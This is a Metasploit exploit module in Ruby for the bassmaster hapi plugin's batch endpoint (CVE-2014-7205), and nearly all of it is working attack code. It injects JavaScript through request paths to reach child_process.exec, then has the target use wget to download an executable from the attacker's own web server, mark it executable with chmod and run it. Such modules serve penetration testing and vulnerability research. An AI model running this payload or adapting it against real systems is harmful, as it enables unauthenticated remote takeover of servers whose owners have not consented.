##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
      'Description'    => %q{
        This module exploits an un-authenticated code injection vulnerability in the bassmaster
        nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
        attacker to dynamically execute JavaScript code on the server side using an eval.

        Note that the code uses a '\x2f' character so that we hit the match on the regex.
      },
      'Author'         =>
        [
          'mr_me <mr_me@offensive-security.com>',      # msf
          'Jarda Kotesovec'                            # original bug finder
        ],
      'References'  =>
        [
          [ 'CVE', '2014-7205'],
          [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'],        # nodejs advisory
        ],
      'License'        => MSF_LICENSE,
      'Platform'    => ['linux', 'bsd'],                                                 # binary > native JavaScript
      'Arch'        => [ARCH_X86, ARCH_X64],
      'Privileged'     => false,
      'Targets'     =>
        [
          [ 'Bassmaster <= 1.5.1', {} ]                                                  # Other versions are also affected
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2016-11-01'))
    register_options(
      [
        Opt::RPORT(8080),                                                                # default port for the examples/batch.js file
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
      ])
  end

  def check

    # So if we can append an encapsulated string into the body
    # we know that we can execute arbitrary JavaScript code
    rando  = rand_text_alpha(8+rand(8))
    check  = "+'#{rando}'"

    # testing
    requests = [
      {:method => "get", :path => "/profile"},
      {:method => "get", :path => "/item"},
      {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = {:requests => requests}

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data'   => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /#{rando}/
      return CheckCode::Vulnerable

    # non-default app
    elsif res and res.code == 500 and res.body =~ /#{rando}/
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def send_payload
    @bd = rand_text_alpha(8+rand(8))
    pn  = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd  = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
    cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
    cmd << "\\x2ftmp\\x2f#{@bd}"
    pay = ";require('child_process').exec('#{cmd}');"

    # pwning
    requests = [
      {:method => "get", :path => "/profile"},
      {:method => "get", :path => "/item"},
      {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = {:requests => requests}

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data'   => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /id/
      return true

    # incase we are not targeting the default app
    elsif res and res.code == 500 and res.body !=~ /id/
      return true
    end
    return false
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8+rand(8))
    resource_uri = "\\x2f#{downfile}"
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
    service_url_payload = srv_host + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})
    datastore['SSL'] = true if ssl_restore
    connect
  end

  def exploit
      start_http_server
      if send_payload
        print_good("Injected payload")
        # we need to delay, for the stager
        select(nil, nil, nil, 5)
      end
  end
end
